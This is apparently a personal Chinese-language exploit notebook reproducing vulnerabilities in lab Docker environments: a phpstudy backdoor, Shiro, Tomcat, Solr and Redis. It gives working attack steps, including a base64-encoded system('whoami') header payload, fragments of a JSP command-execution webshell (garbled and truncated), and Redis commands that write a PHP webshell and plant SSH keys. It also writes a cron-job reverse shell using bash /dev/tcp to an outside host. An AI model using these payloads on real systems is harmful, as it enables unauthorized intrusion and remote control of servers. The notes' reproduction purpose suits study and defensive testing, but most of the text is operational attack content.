个人漏洞复现记录以及EXP编写。
漏洞库
phpstudy
实测2016的PHP-5.4,2018的PHP-5.2.17和PHP-5.4.45都存在此漏洞
注意请求头的Accept-Encoding后应去掉空格,Accept-Charset后值为base64编码,c3lzdGVtKCd3aG9hbWknKTs=解密为system('whoami');注意后面有分号
Shiro RCE(cve-2016-4437)
环境搭建
基于Docker,一键搭建,然后访问本地http://127.0.0.1:9000/
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9000:8080 medicean/vulapps:s_shiro_1
BurpSuite Check Tools
还没找到合适的Burp插件,可以手动添加字段rememberMe,有回显则是shiro框架
EXP
带UI的Tools 无UITools(选择攻击方式,然后x=whoami)
Tomcat Rce(CVE-2020-1938)
环境搭建
基于Docker,一键搭建,影响Apache Tomcat 6,7 < 7.0.100,8 < 8.5.51, 9 < 9.0.31.
docker pull duonghuuphuc/tomcat-8.5.32
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
EXP
EXP,无脑EXP直接打就完事
Tomcat WAR BackDoor
复现环境---BUUOJ
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%>"+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>
访问后台路径/manager/html/发现弱口令tomcat tomcat,登录后上传war文件(将上面代码写入shell.jsp,再压缩成zip文件,最后更改shell.zip为401.war即可)
Tomcat PUT(CVE-2017-12615)
复现环境----BUUOJ
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%>"+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>
EXP
这里就不贴了吧,后面直接上传GitHub,虽然这个洞几乎都没得了,但是仔细一点总没错嘛!
Solr RCE(CVE-2019-17558)
环境搭建
基于vulhub的docker环境包.影响Apache Solr 5.0.0版本至8.3.1,漏洞原因,params.resource.loader.enabled配置不当,我们可以自定义模板,从而任意执行命令
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558/
docker-compose up -d
发现方式可目录扫描或端口扫描(注意普通方式可能不会发现8983端口),
EXP
不知道为啥网上的EXP打不通,于是乎自己写了一个,后面会都放在GitHub.
首先查看有哪些core name
更改params.resource.loader.enabled配置
查看是否更改成功
Redis Getshell(Linux)
环境搭建
Ubuntu系统,一键式安装,更改配置为未授权.然后启动服务即可
sudo apt install gcc && wget http://download.redis.io/releases/redis-5.0.3.tar.gz && tar -zxvf redis-5.0.3.tar.gz && cd redis-5.0.3 && make
修改Redis启动配置文件redis.conf,将bind 127.0.0.1改为bind 0.0.0.0,关闭保护模式,protected-mode yes改为``protected-mode no`,最后保存退出.
启动服务
sudo ./redis-server ../redis.conf
Webshell
config set dir /var/www/html/
config set dbfilename info.php
set payload "<?php phpinfo();?>"
save
SSH公私钥
生成公私钥,连续三次回车即可
ssh-keygen -t rsa
config set dir /home/forever404/.ssh/
config set dbfilename authorized_keys
set payload "\n\n\nid_rsa.pub\n\n\n"
save
定时计划反弹Shell
注意这个需在Centos上方可实现,Ubuntu上亲测不可以,码.sudo systemctl stop firewalld.service关闭防火墙,
config set dir /var/spool/cron/
config set dbfilename root
set paylaod "\n\n\n* * * * * bash -i >& /dev/tcp/172.x.x.x/8888 0>&1\n\n\n"
save
主从复制
这个Redis的版本必须是4.0-5.0之间,显然看出来上面几种方法都会留下"痕迹",且要求路径,和文件写入权限等,于是乎有了新的利用方式.Redis-RCE,redis-post-exploitation.pdf.